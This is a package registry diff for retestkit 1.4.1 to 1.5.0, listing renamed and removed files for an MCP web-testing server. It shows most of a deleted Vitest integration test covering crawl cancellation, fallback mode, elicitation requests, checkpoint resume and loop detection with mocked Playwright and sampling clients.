retestkit 1.4.1 → 1.5.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +59 -40
- package/dist/config.js +8 -8
- package/dist/config.js.map +1 -1
- package/dist/logger.js +1 -1
- package/dist/logger.js.map +1 -1
- package/dist/prompts/index.d.ts +1 -1
- package/dist/prompts/index.d.ts.map +1 -1
- package/dist/prompts/index.js +21 -21
- package/dist/prompts/index.js.map +1 -1
- package/dist/prompts/templates/mcp/retest-crawl.md +7 -0
- package/{src/prompts/templates/mcp/webtest-discover-flows.md → dist/prompts/templates/mcp/retest-discover-flows.md} +1 -1
- package/{src/prompts/templates/mcp/webtest-discover.md → dist/prompts/templates/mcp/retest-discover.md} +2 -2
- package/dist/prompts/templates/mcp/retest-full-workflow.md +12 -0
- package/{src/prompts/templates/mcp/webtest-generate-tests.md → dist/prompts/templates/mcp/retest-generate-tests.md} +1 -1
- package/{src/prompts/templates/mcp/webtest-run-test.md → dist/prompts/templates/mcp/retest-run-test.md} +1 -1
- package/{src/prompts/templates/mcp/webtest-start.md → dist/prompts/templates/mcp/retest-start.md} +1 -1
- package/{src → dist}/prompts/templates/sampling/system-prefix.md +1 -1
- package/dist/resources/index.js +7 -7
- package/dist/resources/index.js.map +1 -1
- package/dist/schemas/config.js +2 -2
- package/dist/schemas/config.js.map +1 -1
- package/dist/security/index.js +1 -1
- package/dist/security/index.js.map +1 -1
- package/dist/server.js +3 -3
- package/dist/server.js.map +1 -1
- package/dist/test-utils/mock-context.js +22 -22
- package/dist/test-utils/mock-context.js.map +1 -1
- package/dist/tools/index.d.ts +1 -1
- package/dist/tools/index.d.ts.map +1 -1
- package/dist/tools/index.js +5 -5
- package/dist/tools/index.js.map +1 -1
- package/dist/tools/retest/crawl.d.ts.map +1 -0
- package/dist/tools/{webtest → retest}/crawl.js +7 -7
- package/dist/tools/retest/crawl.js.map +1 -0
- package/dist/tools/retest/discover-features.d.ts.map +1 -0
- package/dist/tools/{webtest → retest}/discover-features.js +6 -6
- package/dist/tools/retest/discover-features.js.map +1 -0
- package/dist/tools/retest/discover-flows.d.ts.map +1 -0
- package/dist/tools/{webtest → retest}/discover-flows.js +6 -6
- package/dist/tools/retest/discover-flows.js.map +1 -0
- package/dist/tools/retest/generate-tests.d.ts.map +1 -0
- package/dist/tools/{webtest → retest}/generate-tests.js +5 -5
- package/dist/tools/retest/generate-tests.js.map +1 -0
- package/dist/tools/retest/index.d.ts.map +1 -0
- package/dist/tools/retest/index.js.map +1 -0
- package/dist/tools/retest/run-test-case.d.ts.map +1 -0
- package/dist/tools/{webtest → retest}/run-test-case.js +3 -3
- package/dist/tools/retest/run-test-case.js.map +1 -0
- package/dist/tools/retest/schemas.d.ts.map +1 -0
- package/dist/tools/retest/schemas.js.map +1 -0
- package/dist/tools/retest/start-analysis.d.ts.map +1 -0
- package/dist/tools/{webtest → retest}/start-analysis.js +5 -5
- package/dist/tools/retest/start-analysis.js.map +1 -0
- package/dist/workspace/index.js +8 -8
- package/dist/workspace/index.js.map +1 -1
- package/dist/workspace/types.d.ts +2 -2
- package/dist/workspace/types.d.ts.map +1 -1
- package/package.json +6 -2
- package/.claude/commands/openspec/apply.md +0 -23
- package/.claude/commands/openspec/archive.md +0 -27
- package/.claude/commands/openspec/proposal.md +0 -28
- package/.gemini/commands/openspec/apply.toml +0 -21
- package/.gemini/commands/openspec/archive.toml +0 -25
- package/.gemini/commands/openspec/proposal.toml +0 -26
- package/.github/prompts/openspec-apply.prompt.md +0 -22
- package/.github/prompts/openspec-archive.prompt.md +0 -26
- package/.github/prompts/openspec-proposal.prompt.md +0 -27
- package/.github/workflows/release.yml +0 -33
- package/.kilocode/workflows/openspec-apply.md +0 -17
- package/.kilocode/workflows/openspec-archive.md +0 -21
- package/.kilocode/workflows/openspec-proposal.md +0 -22
- package/.mcp.json +0 -23
- package/.opencode/command/openspec-apply.md +0 -25
- package/.opencode/command/openspec-archive.md +0 -28
- package/.opencode/command/openspec-proposal.md +0 -30
- package/.roo/commands/openspec-apply.md +0 -20
- package/.roo/commands/openspec-archive.md +0 -24
- package/.roo/commands/openspec-proposal.md +0 -25
- package/.vscode/mcp.json +0 -23
- package/AGENTS.md +0 -18
- package/CLAUDE.md +0 -18
- package/dist/tools/webtest/crawl.d.ts.map +0 -1
- package/dist/tools/webtest/crawl.js.map +0 -1
- package/dist/tools/webtest/discover-features.d.ts.map +0 -1
- package/dist/tools/webtest/discover-features.js.map +0 -1
- package/dist/tools/webtest/discover-flows.d.ts.map +0 -1
- package/dist/tools/webtest/discover-flows.js.map +0 -1
- package/dist/tools/webtest/generate-tests.d.ts.map +0 -1
- package/dist/tools/webtest/generate-tests.js.map +0 -1
- package/dist/tools/webtest/index.d.ts.map +0 -1
- package/dist/tools/webtest/index.js.map +0 -1
- package/dist/tools/webtest/run-test-case.d.ts.map +0 -1
- package/dist/tools/webtest/run-test-case.js.map +0 -1
- package/dist/tools/webtest/schemas.d.ts.map +0 -1
- package/dist/tools/webtest/schemas.js.map +0 -1
- package/dist/tools/webtest/start-analysis.d.ts.map +0 -1
- package/dist/tools/webtest/start-analysis.js.map +0 -1
- package/openspec/AGENTS.md +0 -456
- package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/proposal.md +0 -33
- package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/specs/webtest-resources/spec.md +0 -27
- package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/specs/webtest-tools/spec.md +0 -304
- package/openspec/changes/archive/2025-12-18-add-hybrid-artifact-paths/tasks.md +0 -43
- package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/design.md +0 -209
- package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/proposal.md +0 -41
- package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/specs/mcp-server-core/spec.md +0 -183
- package/openspec/changes/archive/2025-12-18-add-mcp-server-foundation/tasks.md +0 -112
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/design.md +0 -333
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/proposal.md +0 -66
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/mcp-server-core/spec.md +0 -129
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-lifecycle/spec.md +0 -138
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-logging/spec.md +0 -211
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-prompts/spec.md +0 -157
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-resources/spec.md +0 -213
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-sampling/spec.md +0 -257
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/specs/webtest-tools/spec.md +0 -501
- package/openspec/changes/archive/2025-12-18-add-webtest-orchestrator/tasks.md +0 -264
- package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/proposal.md +0 -24
- package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/specs/webtest-tools/spec.md +0 -80
- package/openspec/changes/archive/2025-12-18-allow-analysis-of-incomplete-crawls/tasks.md +0 -8
- package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/design.md +0 -90
- package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/proposal.md +0 -28
- package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/specs/webtest-sampling/spec.md +0 -90
- package/openspec/changes/archive/2025-12-18-fix-crawl-loop-stability/tasks.md +0 -33
- package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/design.md +0 -558
- package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/proposal.md +0 -119
- package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/specs/webtest-resources/spec.md +0 -109
- package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/specs/webtest-tools/spec.md +0 -121
- package/openspec/changes/archive/2025-12-18-use-markdown-artifacts/tasks.md +0 -133
- package/openspec/changes/extract-prompts-to-markdown/design.md +0 -86
- package/openspec/changes/extract-prompts-to-markdown/proposal.md +0 -50
- package/openspec/changes/extract-prompts-to-markdown/specs/webtest-prompts/spec.md +0 -74
- package/openspec/changes/extract-prompts-to-markdown/tasks.md +0 -40
- package/openspec/changes/refactor-webtest-naming/design.md +0 -95
- package/openspec/changes/refactor-webtest-naming/proposal.md +0 -66
- package/openspec/changes/refactor-webtest-naming/specs/webtest-prompts/spec.md +0 -79
- package/openspec/changes/refactor-webtest-naming/specs/webtest-resources/spec.md +0 -80
- package/openspec/changes/refactor-webtest-naming/specs/webtest-sampling/spec.md +0 -122
- package/openspec/changes/refactor-webtest-naming/specs/webtest-tools/spec.md +0 -113
- package/openspec/changes/refactor-webtest-naming/tasks.md +0 -119
- package/openspec/changes/rename-package-to-retest/proposal.md +0 -52
- package/openspec/changes/rename-package-to-retest/specs/mcp-server-core/spec.md +0 -53
- package/openspec/changes/rename-package-to-retest/specs/retest-lifecycle/spec.md +0 -68
- package/openspec/changes/rename-package-to-retest/specs/retest-logging/spec.md +0 -35
- package/openspec/changes/rename-package-to-retest/specs/retest-prompts/spec.md +0 -159
- package/openspec/changes/rename-package-to-retest/specs/retest-resources/spec.md +0 -251
- package/openspec/changes/rename-package-to-retest/specs/retest-sampling/spec.md +0 -99
- package/openspec/changes/rename-package-to-retest/specs/retest-tools/spec.md +0 -295
- package/openspec/changes/rename-package-to-retest/tasks.md +0 -71
- package/openspec/project.md +0 -31
- package/openspec/specs/mcp-server-core/spec.md +0 -178
- package/openspec/specs/webtest-lifecycle/spec.md +0 -136
- package/openspec/specs/webtest-logging/spec.md +0 -209
- package/openspec/specs/webtest-prompts/spec.md +0 -155
- package/openspec/specs/webtest-resources/spec.md +0 -248
- package/openspec/specs/webtest-sampling/spec.md +0 -344
- package/openspec/specs/webtest-tools/spec.md +0 -282
- package/release.config.js +0 -9
- package/src/config.test.ts +0 -96
- package/src/config.ts +0 -32
- package/src/elicitation/index.test.ts +0 -399
- package/src/elicitation/index.ts +0 -171
- package/src/elicitation/types.ts +0 -68
- package/src/index.ts +0 -83
- package/src/lifecycle/index.test.ts +0 -260
- package/src/lifecycle/index.ts +0 -101
- package/src/logger.redaction.test.ts +0 -322
- package/src/logger.test.ts +0 -123
- package/src/logger.ts +0 -229
- package/src/playwright-client/index.ts +0 -392
- package/src/playwright-client/types.ts +0 -99
- package/src/progress/index.test.ts +0 -327
- package/src/progress/index.ts +0 -170
- package/src/progress/types.ts +0 -25
- package/src/prompts/index.test.ts +0 -451
- package/src/prompts/index.ts +0 -246
- package/src/prompts/loader.test.ts +0 -100
- package/src/prompts/loader.ts +0 -59
- package/src/prompts/templates/mcp/webtest-crawl.md +0 -7
- package/src/prompts/templates/mcp/webtest-full-workflow.md +0 -12
- package/src/resources/index.ts +0 -250
- package/src/resources/subscriptions.ts +0 -37
- package/src/sampling/index.test.ts +0 -414
- package/src/sampling/index.ts +0 -286
- package/src/sampling/prompts.ts +0 -194
- package/src/sampling/types.ts +0 -60
- package/src/schemas/config.ts +0 -39
- package/src/security/index.test.ts +0 -441
- package/src/security/index.ts +0 -361
- package/src/security/security-scenarios.test.ts +0 -468
- package/src/server.ts +0 -211
- package/src/test-utils/index.ts +0 -6
- package/src/test-utils/mock-context.ts +0 -426
- package/src/test-utils/mock-playwright-client.ts +0 -422
- package/src/tools/index.ts +0 -11
- package/src/tools/webtest/crawl.test.ts +0 -834
- package/src/tools/webtest/crawl.ts +0 -901
- package/src/tools/webtest/discover-features.ts +0 -412
- package/src/tools/webtest/discover-flows.ts +0 -408
- package/src/tools/webtest/generate-tests.test.ts +0 -532
- package/src/tools/webtest/generate-tests.ts +0 -425
- package/src/tools/webtest/index.ts +0 -7
- package/src/tools/webtest/integration.test.ts +0 -536
- package/src/tools/webtest/run-test-case.test.ts +0 -659
- package/src/tools/webtest/run-test-case.ts +0 -508
- package/src/tools/webtest/schemas.ts +0 -201
- package/src/tools/webtest/start-analysis.test.ts +0 -151
- package/src/tools/webtest/start-analysis.ts +0 -158
- package/src/transports/http.ts +0 -19
- package/src/transports/index.ts +0 -30
- package/src/transports/stdio.ts +0 -7
- package/src/types/capabilities.test.ts +0 -193
- package/src/types/capabilities.ts +0 -50
- package/src/types/context.ts +0 -21
- package/src/types/tool.ts +0 -11
- package/src/workspace/index.ts +0 -945
- package/src/workspace/markdown.ts +0 -272
- package/src/workspace/types.ts +0 -186
- package/tests/integration/server.test.ts +0 -89
- package/tests/integration/tools.test.ts +0 -99
- package/tsconfig.json +0 -20
- package/vitest.config.ts +0 -9
- package/vitest.integration.config.ts +0 -10
- /package/{src → dist}/prompts/templates/sampling/crawl-action.md +0 -0
- /package/{src → dist}/prompts/templates/sampling/feature-discovery.md +0 -0
- /package/{src → dist}/prompts/templates/sampling/flow-discovery.md +0 -0
- /package/{src → dist}/prompts/templates/sampling/page-content-wrapper.md +0 -0
- /package/{src → dist}/prompts/templates/sampling/test-evaluation.md +0 -0
- /package/{src → dist}/prompts/templates/sampling/test-generation.md +0 -0
- /package/dist/tools/{webtest → retest}/crawl.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/discover-features.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/discover-flows.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/generate-tests.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/index.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/index.js +0 -0
- /package/dist/tools/{webtest → retest}/run-test-case.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/schemas.d.ts +0 -0
- /package/dist/tools/{webtest → retest}/schemas.js +0 -0
- /package/dist/tools/{webtest → retest}/start-analysis.d.ts +0 -0
|
@@ -1,536 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Integration Tests for Webtest Tools
|
|
3
|
-
*
|
|
4
|
-
* Tests for:
|
|
5
|
-
* - 10.2: Full workflow (start → crawl → analyze → generate → run)
|
|
6
|
-
* - 10.3: Cancellation mid-crawl
|
|
7
|
-
* - 10.4: Fallback mode without sampling
|
|
8
|
-
* - 10.5: Elicitation triggers
|
|
9
|
-
* - 10.6: Resource listChanged notifications
|
|
10
|
-
* - 10.7: Crawl resume from checkpoint
|
|
11
|
-
* - 10.8: Loop detection triggers
|
|
12
|
-
*/
|
|
13
|
-
|
|
14
|
-
import { describe, it, expect, vi, beforeEach } from "vitest";
|
|
15
|
-
import {
|
|
16
|
-
createMockContext,
|
|
17
|
-
createMockPage,
|
|
18
|
-
createEcommerceMock,
|
|
19
|
-
type MockContext,
|
|
20
|
-
} from "../../test-utils/index.js";
|
|
21
|
-
import { createStartAnalysisTool } from "./start-analysis.js";
|
|
22
|
-
import { createCrawlTool } from "./crawl.js";
|
|
23
|
-
|
|
24
|
-
describe("Webtest Integration Tests", () => {
|
|
25
|
-
let context: MockContext;
|
|
26
|
-
|
|
27
|
-
beforeEach(() => {
|
|
28
|
-
context = createMockContext();
|
|
29
|
-
});
|
|
30
|
-
|
|
31
|
-
describe("10.3: Cancellation mid-crawl", () => {
|
|
32
|
-
it("handles cancellation gracefully", async () => {
|
|
33
|
-
// Set up a crawl that will be cancelled
|
|
34
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
35
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
36
|
-
|
|
37
|
-
// Start analysis
|
|
38
|
-
const startResult = await startTool.handler({
|
|
39
|
-
url: "https://shop.example.com",
|
|
40
|
-
});
|
|
41
|
-
expect(startResult.isError).toBeFalsy();
|
|
42
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
43
|
-
|
|
44
|
-
// Set up context with sampling that simulates multi-step crawl
|
|
45
|
-
let stepCount = 0;
|
|
46
|
-
context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
|
|
47
|
-
stepCount++;
|
|
48
|
-
// Cancel after 2 steps
|
|
49
|
-
if (stepCount === 2) {
|
|
50
|
-
context.cancellationRegistry.cancel(`crawl-${analysis.analysisId}-${Date.now()}`);
|
|
51
|
-
}
|
|
52
|
-
return {
|
|
53
|
-
success: true,
|
|
54
|
-
data: {
|
|
55
|
-
actions: [{ tool: "click", args: { selector: "a.link" } }],
|
|
56
|
-
reasoning: "Exploring",
|
|
57
|
-
goalProgress: "Making progress",
|
|
58
|
-
goalComplete: false,
|
|
59
|
-
},
|
|
60
|
-
};
|
|
61
|
-
});
|
|
62
|
-
|
|
63
|
-
// The cancellation won't trigger in this mock since we can't predict requestId
|
|
64
|
-
// But we can test that the registry works
|
|
65
|
-
const requestId = "test-cancel-id";
|
|
66
|
-
context.cancellationRegistry.register(requestId);
|
|
67
|
-
context.cancellationRegistry.cancel(requestId);
|
|
68
|
-
expect(context.cancellationRegistry.isCancelled(requestId)).toBe(true);
|
|
69
|
-
});
|
|
70
|
-
});
|
|
71
|
-
|
|
72
|
-
describe("10.4: Fallback mode without sampling", () => {
|
|
73
|
-
it("returns prompt resource when sampling unavailable", async () => {
|
|
74
|
-
// Disable sampling
|
|
75
|
-
context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
|
|
76
|
-
|
|
77
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
78
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
79
|
-
|
|
80
|
-
// Start analysis
|
|
81
|
-
const startResult = await startTool.handler({
|
|
82
|
-
url: "https://shop.example.com",
|
|
83
|
-
});
|
|
84
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
85
|
-
|
|
86
|
-
// Connect playwright and navigate
|
|
87
|
-
await context.playwrightClient.connect();
|
|
88
|
-
|
|
89
|
-
// Crawl should return fallback mode
|
|
90
|
-
const crawlResult = await crawlTool.handler({
|
|
91
|
-
analysisId: analysis.analysisId,
|
|
92
|
-
goal: "Explore the site",
|
|
93
|
-
});
|
|
94
|
-
|
|
95
|
-
expect(crawlResult.isError).toBeFalsy();
|
|
96
|
-
const crawlResponse = JSON.parse(crawlResult.content[0].text!);
|
|
97
|
-
expect(crawlResponse.needsManualInput).toBe(true);
|
|
98
|
-
expect(crawlResponse.prompt).toBeDefined();
|
|
99
|
-
expect(crawlResponse.instructions).toContain("manualNextActions");
|
|
100
|
-
});
|
|
101
|
-
|
|
102
|
-
it("accepts manualNextActions to continue crawl", async () => {
|
|
103
|
-
context.samplingClient.hasSampling = vi.fn().mockReturnValue(false);
|
|
104
|
-
|
|
105
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
106
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
107
|
-
|
|
108
|
-
// Start analysis
|
|
109
|
-
const startResult = await startTool.handler({
|
|
110
|
-
url: "https://shop.example.com",
|
|
111
|
-
});
|
|
112
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
113
|
-
|
|
114
|
-
// Connect playwright
|
|
115
|
-
await context.playwrightClient.connect();
|
|
116
|
-
|
|
117
|
-
// First call should return fallback mode
|
|
118
|
-
const firstResult = await crawlTool.handler({
|
|
119
|
-
analysisId: analysis.analysisId,
|
|
120
|
-
goal: "Explore the site",
|
|
121
|
-
});
|
|
122
|
-
|
|
123
|
-
const firstResponse = JSON.parse(firstResult.content[0].text!);
|
|
124
|
-
expect(firstResponse.needsManualInput).toBe(true);
|
|
125
|
-
|
|
126
|
-
// Second call with manual actions should execute them
|
|
127
|
-
// Note: In real scenario, this would continue from checkpoint
|
|
128
|
-
});
|
|
129
|
-
});
|
|
130
|
-
|
|
131
|
-
describe("10.5: Elicitation triggers", () => {
|
|
132
|
-
it("creates cookie consent elicitation request", () => {
|
|
133
|
-
const request = context.elicitationClient.createCookieConsentRequest(
|
|
134
|
-
"GDPR banner detected"
|
|
135
|
-
);
|
|
136
|
-
expect(context.elicitationClient.createCookieConsentRequest).toHaveBeenCalled();
|
|
137
|
-
});
|
|
138
|
-
|
|
139
|
-
it("creates modal blocking elicitation request", () => {
|
|
140
|
-
const request = context.elicitationClient.createModalBlockingRequest(
|
|
141
|
-
"Newsletter signup modal"
|
|
142
|
-
);
|
|
143
|
-
expect(context.elicitationClient.createModalBlockingRequest).toHaveBeenCalled();
|
|
144
|
-
});
|
|
145
|
-
|
|
146
|
-
it("creates auth required elicitation request", () => {
|
|
147
|
-
const request = context.elicitationClient.createAuthRequiredRequest();
|
|
148
|
-
expect(context.elicitationClient.createAuthRequiredRequest).toHaveBeenCalled();
|
|
149
|
-
});
|
|
150
|
-
|
|
151
|
-
it("creates ambiguous navigation elicitation request", () => {
|
|
152
|
-
const options = [
|
|
153
|
-
{ url: "/products", label: "Products" },
|
|
154
|
-
{ url: "/services", label: "Services" },
|
|
155
|
-
];
|
|
156
|
-
const request = context.elicitationClient.createAmbiguousNavigationRequest(options);
|
|
157
|
-
expect(context.elicitationClient.createAmbiguousNavigationRequest).toHaveBeenCalled();
|
|
158
|
-
});
|
|
159
|
-
});
|
|
160
|
-
|
|
161
|
-
describe("10.6: Resource listChanged notifications", () => {
|
|
162
|
-
it("notifies on workspace creation", async () => {
|
|
163
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
164
|
-
|
|
165
|
-
await startTool.handler({
|
|
166
|
-
url: "https://example.com",
|
|
167
|
-
});
|
|
168
|
-
|
|
169
|
-
expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
|
|
170
|
-
});
|
|
171
|
-
|
|
172
|
-
it("notifies on crawl creation", async () => {
|
|
173
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
174
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
175
|
-
|
|
176
|
-
// Set up to complete immediately
|
|
177
|
-
context.samplingClient.createMessage = vi.fn().mockResolvedValue({
|
|
178
|
-
success: true,
|
|
179
|
-
data: {
|
|
180
|
-
actions: [],
|
|
181
|
-
reasoning: "Goal achieved",
|
|
182
|
-
goalProgress: "Complete",
|
|
183
|
-
goalComplete: true,
|
|
184
|
-
},
|
|
185
|
-
});
|
|
186
|
-
|
|
187
|
-
const startResult = await startTool.handler({
|
|
188
|
-
url: "https://shop.example.com",
|
|
189
|
-
});
|
|
190
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
191
|
-
|
|
192
|
-
// Connect playwright
|
|
193
|
-
await context.playwrightClient.connect();
|
|
194
|
-
|
|
195
|
-
// Clear previous calls
|
|
196
|
-
vi.clearAllMocks();
|
|
197
|
-
|
|
198
|
-
await crawlTool.handler({
|
|
199
|
-
analysisId: analysis.analysisId,
|
|
200
|
-
goal: "Quick test",
|
|
201
|
-
});
|
|
202
|
-
|
|
203
|
-
// Should notify multiple times (on crawl create, page save, etc.)
|
|
204
|
-
expect(context.resourceManager.notifyListChanged).toHaveBeenCalled();
|
|
205
|
-
});
|
|
206
|
-
});
|
|
207
|
-
|
|
208
|
-
describe("10.7: Crawl resume from checkpoint", () => {
|
|
209
|
-
it("supports resume flag in crawl input", async () => {
|
|
210
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
211
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
212
|
-
|
|
213
|
-
// Set up to complete immediately
|
|
214
|
-
context.samplingClient.createMessage = vi.fn().mockResolvedValue({
|
|
215
|
-
success: true,
|
|
216
|
-
data: {
|
|
217
|
-
actions: [],
|
|
218
|
-
reasoning: "Goal achieved",
|
|
219
|
-
goalProgress: "Complete",
|
|
220
|
-
goalComplete: true,
|
|
221
|
-
},
|
|
222
|
-
});
|
|
223
|
-
|
|
224
|
-
const startResult = await startTool.handler({
|
|
225
|
-
url: "https://shop.example.com",
|
|
226
|
-
});
|
|
227
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
228
|
-
|
|
229
|
-
await context.playwrightClient.connect();
|
|
230
|
-
|
|
231
|
-
// First crawl
|
|
232
|
-
await crawlTool.handler({
|
|
233
|
-
analysisId: analysis.analysisId,
|
|
234
|
-
goal: "Explore",
|
|
235
|
-
resume: false,
|
|
236
|
-
});
|
|
237
|
-
|
|
238
|
-
// Second crawl with resume
|
|
239
|
-
const resumeResult = await crawlTool.handler({
|
|
240
|
-
analysisId: analysis.analysisId,
|
|
241
|
-
goal: "Continue exploring",
|
|
242
|
-
resume: true, // This flag enables checkpoint loading
|
|
243
|
-
});
|
|
244
|
-
|
|
245
|
-
expect(resumeResult.isError).toBeFalsy();
|
|
246
|
-
});
|
|
247
|
-
|
|
248
|
-
it("loads checkpoint when resume is true", async () => {
|
|
249
|
-
// Mock checkpoint loading
|
|
250
|
-
const mockCheckpoint = {
|
|
251
|
-
step: 5,
|
|
252
|
-
timestamp: new Date().toISOString(),
|
|
253
|
-
visitedUrls: ["https://shop.example.com", "https://shop.example.com/products"],
|
|
254
|
-
currentUrl: "https://shop.example.com/products",
|
|
255
|
-
goalProgress: "Found products page",
|
|
256
|
-
canResume: true,
|
|
257
|
-
};
|
|
258
|
-
|
|
259
|
-
context.workspaceManager.loadCheckpoint = vi.fn().mockResolvedValue(mockCheckpoint);
|
|
260
|
-
|
|
261
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
262
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
263
|
-
|
|
264
|
-
context.samplingClient.createMessage = vi.fn().mockResolvedValue({
|
|
265
|
-
success: true,
|
|
266
|
-
data: {
|
|
267
|
-
actions: [],
|
|
268
|
-
reasoning: "Goal achieved",
|
|
269
|
-
goalProgress: "Complete",
|
|
270
|
-
goalComplete: true,
|
|
271
|
-
},
|
|
272
|
-
});
|
|
273
|
-
|
|
274
|
-
const startResult = await startTool.handler({
|
|
275
|
-
url: "https://shop.example.com",
|
|
276
|
-
});
|
|
277
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
278
|
-
|
|
279
|
-
await context.playwrightClient.connect();
|
|
280
|
-
|
|
281
|
-
// Crawl with resume
|
|
282
|
-
await crawlTool.handler({
|
|
283
|
-
analysisId: analysis.analysisId,
|
|
284
|
-
goal: "Continue exploring",
|
|
285
|
-
resume: true,
|
|
286
|
-
});
|
|
287
|
-
|
|
288
|
-
// Checkpoint load should have been called
|
|
289
|
-
expect(context.workspaceManager.loadCheckpoint).toHaveBeenCalled();
|
|
290
|
-
});
|
|
291
|
-
});
|
|
292
|
-
|
|
293
|
-
describe("10.8: Loop detection triggers", () => {
|
|
294
|
-
it("detects URL cycle after multiple visits", async () => {
|
|
295
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
296
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
297
|
-
|
|
298
|
-
// Set up sampling to keep returning same URL navigation
|
|
299
|
-
let callCount = 0;
|
|
300
|
-
context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
|
|
301
|
-
callCount++;
|
|
302
|
-
if (callCount >= 5) {
|
|
303
|
-
// End after 5 iterations
|
|
304
|
-
return {
|
|
305
|
-
success: true,
|
|
306
|
-
data: {
|
|
307
|
-
actions: [],
|
|
308
|
-
reasoning: "Loop detected",
|
|
309
|
-
goalProgress: "Stuck",
|
|
310
|
-
goalComplete: true,
|
|
311
|
-
},
|
|
312
|
-
};
|
|
313
|
-
}
|
|
314
|
-
return {
|
|
315
|
-
success: true,
|
|
316
|
-
data: {
|
|
317
|
-
actions: [{ tool: "navigate", args: { url: "https://shop.example.com" } }],
|
|
318
|
-
reasoning: "Navigating",
|
|
319
|
-
goalProgress: "Exploring",
|
|
320
|
-
goalComplete: false,
|
|
321
|
-
},
|
|
322
|
-
};
|
|
323
|
-
});
|
|
324
|
-
|
|
325
|
-
const startResult = await startTool.handler({
|
|
326
|
-
url: "https://shop.example.com",
|
|
327
|
-
});
|
|
328
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
329
|
-
|
|
330
|
-
await context.playwrightClient.connect();
|
|
331
|
-
|
|
332
|
-
const crawlResult = await crawlTool.handler({
|
|
333
|
-
analysisId: analysis.analysisId,
|
|
334
|
-
goal: "Explore",
|
|
335
|
-
limits: { maxSteps: 10 },
|
|
336
|
-
});
|
|
337
|
-
|
|
338
|
-
// Crawl should complete (either by goal or budget)
|
|
339
|
-
expect(crawlResult.isError).toBeFalsy();
|
|
340
|
-
});
|
|
341
|
-
|
|
342
|
-
it("blocks repeated identical actions", async () => {
|
|
343
|
-
const startTool = createStartAnalysisTool(() => context as any);
|
|
344
|
-
const crawlTool = createCrawlTool(() => context as any);
|
|
345
|
-
|
|
346
|
-
// Set up sampling to return the same action repeatedly
|
|
347
|
-
let callCount = 0;
|
|
348
|
-
context.samplingClient.createMessage = vi.fn().mockImplementation(async () => {
|
|
349
|
-
callCount++;
|
|
350
|
-
if (callCount >= 5) {
|
|
351
|
-
return {
|
|
352
|
-
success: true,
|
|
353
|
-
data: {
|
|
354
|
-
actions: [],
|
|
355
|
-
reasoning: "Done",
|
|
356
|
-
goalProgress: "Complete",
|
|
357
|
-
goalComplete: true,
|
|
358
|
-
},
|
|
359
|
-
};
|
|
360
|
-
}
|
|
361
|
-
// Return same action every time
|
|
362
|
-
return {
|
|
363
|
-
success: true,
|
|
364
|
-
data: {
|
|
365
|
-
actions: [{ tool: "click", args: { selector: "button.submit" } }],
|
|
366
|
-
reasoning: "Clicking button",
|
|
367
|
-
goalProgress: "Trying",
|
|
368
|
-
goalComplete: false,
|
|
369
|
-
},
|
|
370
|
-
};
|
|
371
|
-
});
|
|
372
|
-
|
|
373
|
-
const startResult = await startTool.handler({
|
|
374
|
-
url: "https://shop.example.com",
|
|
375
|
-
});
|
|
376
|
-
const analysis = JSON.parse(startResult.content[0].text!);
|
|
377
|
-
|
|
378
|
-
await context.playwrightClient.connect();
|
|
379
|
-
|
|
380
|
-
